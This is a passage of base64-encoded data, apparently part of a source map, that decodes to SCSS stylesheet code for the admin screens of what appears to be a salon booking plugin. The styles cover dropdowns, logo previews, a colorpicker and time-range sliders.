9fY2hvaWNlcyB7XG4gICAgICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgICAgIC5zZWxlY3QyLXNlYXJjaC0taW5saW5lLFxuICAgICAgICAgIC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG4gICAgICAgICAgICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlOjpiZWZvcmUge1xuICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICB9XG4gICAgICAgICAgLnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuICAgICAgICAgICAgYm9yZGVyLXJpZ2h0OiBub25lO1xuICAgICAgICAgIH1cbiAgICAgICAgICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAgICAgICAgICAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiBub25lO1xuICAgICAgICAgIH1cbiAgICAgICAgICAuc2xuLXNlbGVjdC13cmFwcGVyLW11bHRpLXNlYXJjaCB7XG4gICAgICAgICAgICAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcbiAgICAgICAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICBib3JkZXItdG9wLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1jaGVja2JveCArIC5zbG4tc2VsZWN0IHtcbiAgICBsYWJlbDplbXB0eSB7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGNvbnRlbnQ6ICdlbXB0eSBsYWJlbCc7XG4gICAgICAgIHZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgIH1cbiAgICB9XG4gICAgLy8gQGluY2x1ZGUgYnAoZGVza3RvcCkge1xuICAgIC8vIG1hcmdpbi10b3A6IC0wLjc1cmVtO1xuICAgIC8vIH1cbiAgfVxuICAuc2xuLWlucHV0LWJpZ2JvcmRlciB7XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWJpZy1ib3JkZXI7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG4gIH1cblxuICAuc2xuLW1vcmVtYXJnaW4tLWJvdHRvbSB7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg4MHB4KTtcbiAgICB9XG4gIH1cbiAgLnNsbi1sb2dvLWJveCB7XG4gICAgLnByZXZpZXctbG9nbyB7XG4gICAgICAvL3BhZGRpbmc6IDAuNDU4MzNyZW0gMC42NjY2N3JlbTtcbiAgICAgIC8vaGVpZ2h0OiA4cmVtO1xuICAgICAgLy90ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodGVyO1xuICAgICAgLy9ib3JkZXI6IDJweCBkYXNoZWQgJGNsX21haW4tLWxpZ2h0O1xuICAgICAgLnByZXZpZXctbG9nby1pbWcge1xuICAgICAgICBoZWlnaHQ6IGF1dG87XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgIHBhZGRpbmc6IDFyZW07XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07XG4gICAgICAgIG1pbi1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oODBweCk7XG4gICAgICB9XG4gICAgICAuYnRuLmJ0bi1saW5rIHtcbiAgICAgICAgY29sb3I6ICMwMDA7XG4gICAgICB9XG4gICAgfVxuICAgIC5zZWxlY3QtbG9nbyB7XG4gICAgICBwYWRkaW5nOiAwLjQ1ODMzcmVtIDAuNjY2NjdyZW07XG4gICAgICBoZWlnaHQ6IDhyZW07XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICBib3JkZXI6IDJweCBkYXNoZWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgIC5kYXNoaWNvbnMge1xuICAgICAgICB3aWR0aDogNDBweDtcbiAgICAgICAgaGVpZ2h0OiA0MHB4O1xuICAgICAgICBmb250LXNpemU6IDQwcHg7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAyLjVlbTtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgI3Nsbl9ib29raW5nLWFjdGlvbnMge1xuICAgIC5zbG4taW5wdXQtLXRleHRhcmVhIHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgaGVpZ2h0OiAxMjBweDtcbiAgICAgIHJlc2l6ZTogbm9uZTtcbiAgICB9XG5cbiAgICAuc2xuLWlucHV0LS10ZXh0IHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgIH1cbiAgfVxuICAvLyBCQUQgVEhJTkdTIEkgTVVTVCBETyAvL1xuICAjc2xuLXBheV9hX2RlcG9zaXQsXG4gICNzbG4tYXBwbHlfdHJhbnNhY3Rpb25fZmVlLFxuICAjcGF5bWVudC1tb2RlLXN0cmlwZSB7XG4gICAgLnNsbi1pbnB1dC0tc2ltcGxlIGxhYmVsIHtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi8vIENPTE9SUElDS0VSXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWNvbG9ycGlja2VyLFxuLnNsbi1jb2xvcnBpY2tlciB7XG4gIC5zbG4tY29sb3JwaWNrZXItLXN1YndyYXBwZXIge1xuICAgIGJvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpIHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gIH1cbiAgLnNsbi1jb2xvcnBpY2tlci1hZGRvbiB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgd2lkdGg6IDEwMCU7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIHBhZGRpbmc6IDA7XG4gICAgQGluY2x1ZGUgYWRtaW5fY29uZmlnLnNxYXJlZF9iZygpO1xuICAgIGkge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICB3aWR0aDogMTAwJSAhaW1wb3J0YW50O1xuICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgcGFkZGluZzogMTBweDtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNjY2M7XG4gICAgICBAZXh0ZW5kICVmb250LWJpZ2dlcjtcbiAgICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcbiAgICAgIHRleHQtaW5kZW50OiAtOTk5OXB4O1xuICAgIH1cbiAgfVxuICAmLnNsbi1pbnB1dC0tc2ltcGxlIHtcbiAgICBpbnB1dCB7XG4gICAgICBib3JkZXI6IG5vbmU7XG4gICAgICBtYXJnaW46IDA7XG4gICAgICBtYXJnaW4tYm90dG9tOiAtMXB4O1xuICAgICAgLy9tYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAgICAgLy9ib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIC8vJjpob3ZlcntcbiAgICAgIC8vXHRib3JkZXItY29sb3I6ICRjbF9tYWluLS1saWdodDtcbiAgICAgIC8vXHRiYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAvL31cbiAgICAgIC8vJjpmb2N1cyB7XG4gICAgICAvL1x0Ym9yZGVyLWNvbG9yOiAkY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICAvL1x0YmFja2dyb3VuZC1jb2xvcjogJGNsX21haW47XG4gICAgICAvL31cbiAgICB9XG4gICAgLnNsbi1jb2xvcnBpY2tlci1hZGRvbiB7XG4gICAgICBtYXJnaW4tdG9wOiAtMXB4O1xuICAgIH1cbiAgICBsYWJlbCB7XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gICAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICAgIH1cbiAgfVxufVxuXG4uc2xuLWNvbG9ycGlja2VyLXdpZGdldCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpO1xuICAuY29sb3JwaWNrZXItc2F0dXJhdGlvbiB7XG4gICAgd2lkdGg6IDE2MHB4O1xuICAgIGhlaWdodDogMTYwcHg7XG4gIH1cbiAgLmNvbG9ycGlja2VyLWh1ZSxcbiAgLmNvbG9ycGlja2VyLWFscGhhIHtcbiAgICB3aWR0aDogMjRweDtcbiAgICBoZWlnaHQ6IDE2MHB4O1xuICB9XG4gIC5jb2xvcnBpY2tlci1jb2xvcixcbiAgLmNvbG9ycGlja2VyLWNvbG9yIGRpdixcbiAgLmNvbG9ycGlja2VyLXNlbGVjdG9ycyxcbiAgLmNvbG9ycGlja2VyLXNlbGVjdG9ycyBpIHtcbiAgICBoZWlnaHQ6IDI0cHg7XG4gIH1cbiAgLmNvbG9ycGlja2VyLXNlbGVjdG9ycyBpIHtcbiAgICB3aWR0aDogMjRweDtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjY2NjO1xuICB9XG59XG5cbi5zbG4tYm94IC5zbG4tY29sb3JzLXNhbXBsZSxcbi5zbG4tY29sb3JzLXNhbXBsZSB7XG4gIGZvbnQtc2l6ZTogMXJlbTtcbiAgcGFkZGluZzogMnJlbTtcbiAgQGluY2x1ZGUgYWRtaW5fY29uZmlnLnNxYXJlZF9iZygpO1xuICBtYXJnaW4tYm90dG9tOiA0cmVtO1xuICAud3JhcHBlciB7XG4gICAgQGV4dGVuZCAlYmdjLWNvbG9yLS1tYWluO1xuICAgIHBhZGRpbmc6IDJyZW07XG4gIH1cbiAgaDEge1xuICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgIEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tYmlnZ2VyO1xuICAgIEBleHRlbmQgJXRleHQtY29sb3ItLWVtcGhhc2lzO1xuICAgIG1hcmdpbi1ib3R0b206IDJyZW07XG4gIH1cbiAgbGFiZWwge1xuICAgIGZvbnQtc2l6ZTogMC44ZW07XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIG1heC13aWR0aDogMTAwJTtcbiAgICBtYXJnaW4tYm90dG9tOiA1cHg7XG4gICAgZm9udC13ZWlnaHQ6IGJvbGQ7XG4gICAgQGV4dGVuZCAldGV4dC1jb2xvci0tZW1waGFzaXM7XG4gICAgLy8gY29sb3IgPiByaWR1cnJlIGFscGhhIGluIHByb3Bvcnppb25lIDEvLjc1XG4gICAgLy9vcGFjaXR5OiAuNzU7XG4gIH1cbiAgaW5wdXQge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIG1heC13aWR0aDogMjQwcHg7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICBwYWRkaW5nOiAwLjVlbSAwLjhlbTtcbiAgICBsaW5lLWhlaWdodDogMS44ZW07XG4gICAgaGVpZ2h0OiBhdXRvO1xuICAgIGJvcmRlci13aWR0aDogMXB4O1xuICAgIGJvcmRlci1zdHlsZTogc29saWQ7XG4gICAgZm9udC1zaXplOiAxZW07XG4gICAgQGV4dGVuZCAlYmQtY29sb3ItLWVtcGhhc2lzO1xuICAgIC8vIGNvYm9yZGVyLWNvbG9yID4gcmlkdXJyZSBhbHBoYSBpbiBwcm9wb3J6aW9uZSAxLy4zNVxuICAgIEBleHRlbmQgJXRleHQtY29sb3ItLWRhcms7XG4gICAgLy8gY29sb3IgPiByaWR1cnJlIGFscGhhIGluIHByb3Bvcnppb25lIDEvLjc1XG4gICAgbWFyZ2luLWJvdHRvbTogMXJlbTtcbiAgfVxuICBidXR0b24ge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBwYWRkaW5nOiAwIDFyZW0gIWltcG9ydGFudDtcbiAgICBsaW5lLWhlaWdodDogMy42cmVtO1xuICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gICAgaGVpZ2h0OiAzLjZyZW07XG4gICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgICBtYXJnaW4tYm90dG9tOiAxcmVtO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgQGV4dGVuZCAlYmdjLWNvbG9yLS1lbXBoYXNpcztcbiAgICBAZXh0ZW5kICV0ZXh0LWNvbG9yLS1tYWluO1xuICAgICY6aG92ZXIsXG4gICAgJjpmb2N1cyxcbiAgICAmOmFjdGl2ZSB7XG4gICAgICBAZXh0ZW5kICViZ2MtY29sb3ItLWVtcGhhc2lzLS1ob3ZlcjtcbiAgICAgIEBleHRlbmQgJXRleHQtY29sb3ItLW1haW47XG4gICAgfVxuICB9XG4gIHAge1xuICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICBsaW5lLWhlaWdodDogMS40cmVtO1xuICAgIEBleHRlbmQgJXRleHQtY29sb3ItLWRhcms7XG4gICAgbWF4LXdpZHRoOiAzNjBweDtcbiAgICBwYWRkaW5nOiAwO1xuICAgIG1hcmdpbi1ib3R0b206IDFlbTtcbiAgfVxuICBzbWFsbCB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgQGV4dGVuZCAldGV4dC1jb2xvci0tZGFyaztcbiAgICBtYXgtd2lkdGg6IDM2MHB4O1xuICB9XG59XG5cbi8vIENPTE9SUElDS0VSIC8vIEVORFxuLyogVElNRSBSQU5HRSAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4sXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbiAgI3RpbWUtcmFuZ2UgcCB7XG4gICAgQGV4dGVuZCAlZm9udC1zbWFsbDtcbiAgfVxuICAudWktc2xpZGVyLWhvcml6b250YWwge1xuICAgIGhlaWdodDogOHB4O1xuICAgIGJhY2tncm91bmQ6ICNkN2Q3ZDc7XG4gICAgYm9yZGVyOiAxcHggc29saWQgI2JhYmFiYTtcbiAgICBib3gtc2hhZG93OlxuICAgICAgMCAxcHggMCBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlLFxuICAgICAgMCAxcHggMCAjY2ZjZmNmIGluc2V0O1xuICAgIGNsZWFyOiBib3RoO1xuICAgIG1hcmdpbjogOHB4IDA7XG4gICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA2cHg7XG4gICAgLW1vei1ib3JkZXItcmFkaXVzOiA2cHg7XG4gICAgLW1zLWJvcmRlci1yYWRpdXM6IDZweDtcbiAgICAtby1ib3JkZXItcmFkaXVzOiA2cHg7XG4gICAgYm9yZGVyLXJhZGl1czogNnB4O1xuICB9XG4gIC51aS1zbGlkZXIge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICB9XG4gIC51aS1zbGlkZXItaG9yaXpvbnRhbCAudWktc2xpZGVyLXJhbmdlIHtcbiAgICB0b3A6IC0xcHg7XG4gICAgaGVpZ2h0OiAxMDAlO1xuICB9XG4gIC51aS1zbGlkZXIgLnVpLXNsaWRlci1yYW5nZSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHotaW5kZXg6IDE7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cbiAgLnVpLXNsaWRlciAudWktc2xpZGVyLWhhbmRsZSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHotaW5kZXg6IDI7XG4gICAgd2lkdGg6IDIycHg7XG4gICAgaGVpZ2h0OiAyMnB4O1xuICAgIGN1cnNvcjogZGVmYXVsdDtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICB9XG4gIC51aS1zbGlkZXIgYTpmb2N1cyB7XG4gICAgb3V0bGluZTogbm9uZTtcbiAgfVxuXG4gIC8vI3NsaWRlci1yYW5nZSB7XG4gIC8vXHR3aWR0aDogMTAwJTtcbiAgLy9cdG1hcmdpbjogMCBhdXRvO1xuICAvL31cbiAgI3RpbWUtcmFuZ2Uge1xuICAgIHdpZHRoOiAxMDAlO1xuICB9XG5cbiAgLy8gTlxuICAuY29sLXNsaWRlciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB9XG4gIC51aS1zbGlkZXItaG9yaXpvbnRhbCB7XG4gICAgaGVpZ2h0OiAxMDAlO1xuICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBib3gtc2hhZG93OiBub25lO1xuICAgIGNsZWFyOiBib3RoO1xuICAgIG1hcmdpbjogMDtcbiAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpIDA7XG4gICAgcG9zaXRpb246IHVuc2V0O1xuICAgIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oLTIwcHgpO1xuICB9XG4gIC51aS1zbGlkZXIgLnVpLXNsaWRlci1yYW5nZSB7XG4gICAgaGVpZ2h0OiAwLjQ4cmVtO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBib3JkZXItcmFkaXVzOiAwO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoXG4gICAgICA5MGRlZyxcbiAgICAgIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXMsXG4gICAgICBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyXG4gICAgKTtcbiAgICAvL2JvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oOHB4KTtcbiAgICB0b3A6IDAuMDNyZW07XG4gIH1cbiAgLnVpLXNsaWRlciAudWktc2xpZGVyLWhhbmRsZSB7XG4gICAgaGVpZ2h0OiAxLjQycmVtO1xuICAgIHdpZHRoOiAxLjQycmVtO1xuICAgIHRvcDogLTAuNXJlbTtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lO1xuICAgIGJveC1zaGFkb3c6IG5vbmU7XG4gICAgb3V0bGluZTogbm9uZTtcbiAgICBtYXJnaW4tbGVmdDogMDtcbiAgICBtYXJnaW4tcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgIHRyYW5zaXRpb246IHRyYW5zZm9ybSAxNTBtcztcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgJjpudGgtY2hpbGQoMikge1xuICAgICAgbWFyZ2luLWxlZnQ6IC0wLjE2NjY2NjY2NjdyZW07XG4gICAgfVxuICAgICY6bnRoLWNoaWxkKDMpIHtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtMC4xNjY2NjY2NjY3cmVtO1xuICAgIH1cbiAgICAmOmJlZm9yZSxcbiAgICAmOmFmdGVyIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgY29udGVudDogJyc7XG4gICAgICBoZWlnaHQ6IDEuNDJyZW07XG4gICAgICB3aWR0aDogMS40MnJlbTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRyYW5zaXRpb246XG4gICAgICAgIHRyYW5zZm9ybSAxNTBtcyxcbiAgICAgICAgb3BhY2l0eSAxNTBtcztcbiAgICB9XG4gICAgJjpiZWZvcmUge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgIHotaW5kZXg6IDE7XG4gICAgfVxuICAgICY6YWZ0ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgfVxuICAgIHNwYW4ge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDc4cHgpO1xuICAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQycHgpO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiAwO1xuICAgICAgbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMjJweCk7XG4gICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICBmb250LXdlaWdodDogNjAwO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICB6LWluZGV4OiA0O1xuICAgICAgb3BhY2l0eTogMDtcbiAgICAgIHRyYW5zZm9ybTogc2NhbGUoMCk7XG4gICAgICB0cmFuc2l0aW9uOlxuICAgICAgICB0b3AgMTUwbXMsXG4gICAgICAgIG9wYWNpdHkgMTUwbXMsXG4gICAgICAgIHRyYW5zZm9ybSAxNTBtcztcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICB3aWR0aDogMDtcbiAgICAgICAgaGVpZ2h0OiAwO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICAgICAgYm9yZGVyLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTJweCkgc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJvcmRlci1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KSBzb2xpZCB0cmFuc3BhcmVudDtcbiAgICAgICAgYm9yZGVyLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICB9XG4gICAgfVxuICAgIC8vJjpmb2N1cyxcbiAgICAmOmhvdmVyIHtcbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIG9wYWNpdHk6IDAuMjU7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMik7XG4gICAgICB9XG4gICAgICBzcGFuIHtcbiAgICAgICAgdG9wOiAtMTcwJTtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcbiAgICAgIH1cbiAgICB9XG4gICAgJjpob3ZlciB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBvcGFjaXR5OiAwLjI1O1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDIpO1xuICAgICAgfVxuICAgICAgc3BhbiB7XG4gICAgICAgIHRvcDogLTE3MCU7XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICB9XG4gICAgfVxuICAgICY6YWN0aXZlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMSk7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBvcGFjaXR5OiAwLjU7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS44KTtcbiAgICAgIH1cbiAgICAgIHNwYW4ge1xuICAgICAgICB0b3A6IC0xNzAlO1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAudWktc2xpZGVyIC51aS1zbGlkZXItaGFuZGxlICsgLnVpLXNsaWRlci1oYW5kbGUge1xuICAgICY6YmVmb3JlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXI7XG4gICAgICB6LWluZGV4OiAxO1xuICAgIH1cbiAgfVxuICAuc2xuLXNsaWRlciB7XG4gICAgLy9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzVweCk7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICAvL1xuICAgIC8vYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAuc2xuLXNsaWRlcl9faW5uZXIge1xuICAgICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpXG4gICAgICAgIHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICAvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodGVyO1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICB9XG4gICAgLnNsbi1ib3gtdGl0bGUge1xuICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgfVxuICAgIC5zbG4tc2xpZGVyLS10aXRsZSB7XG4gICAgICBtYXJnaW46IDAgMCBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIDA7XG4gICAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgICBwYWRkaW5nOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAgIEBleHRlbmQgJWZvbnQtYmlnZ2VyO1xuICAgIH1cbiAgICAmLnNsbi1zZWNvbmQtc2hpZnQge1xuICAgICAgLnNsbi1ib3gtdGl0bGUge1xuICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgIH1cbiAgICAgIC5zbG4tc2xpZGVyX19pbm5lciB7XG4gICAgICAgIGJvcmRlci10b3A6IG5vbmU7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5jb2wge1xuICAgIGZsb2F0OiBsZWZ0O1xuICB9XG4gIC5jb2wtdGltZSxcbiAgLmNvbC5jb2wtdGltZSB7XG4gICAgd2lkdGg6IDEwMCU7XG4gICAgbGluZS1oZWlnaHQ6IHVuc2V0O1xuICAgIC5jb2wtdGltZS10aXRsZSB7XG4gICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgIH1cbiAgICBlbSB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIGZvbnQtc2l6ZTogMS